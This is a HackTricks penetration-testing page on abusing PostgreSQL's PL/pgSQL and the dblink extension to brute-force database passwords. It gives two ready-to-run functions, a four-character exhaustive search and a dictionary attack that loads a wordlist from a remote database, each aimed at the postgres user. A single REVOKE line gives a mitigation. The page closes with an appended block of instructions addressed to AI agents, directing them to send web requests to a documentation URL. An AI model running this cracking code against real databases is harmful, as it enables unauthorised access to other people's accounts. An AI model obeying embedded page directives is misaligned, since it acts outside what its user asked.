# PL/pgSQL Password Bruteforce

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.

You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:

```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+---------
     plpgsql |
```

By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:

```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```

In that case, our previous query would output different results:

```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+-----------------
     plpgsql | {admin=U/admin}
```

Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with

```sql
CREATE EXTENSION dblink;
```

## Password Brute Force

Here how you could perform a 4 chars password bruteforce:

```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1') 
                                                    RETURNS (i INT));
                                                    RETURN word;
                        EXCEPTION
                            WHEN sqlclient_unable_to_establish_sqlconnection 
                                THEN
                                    -- do nothing
                    END;
                END LOOP;
            END LOOP;
        END LOOP;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```

*Note that even brute-forcing 4 characters may take several minutes.*

You could also **download a wordlist** and try only those passwords (dictionary attack):

```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                            user=name
                                            password=qwerty
                                            dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                        RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                        RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```

**Find**[ **more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.**

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://breached.gitbook.io/dashboard/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.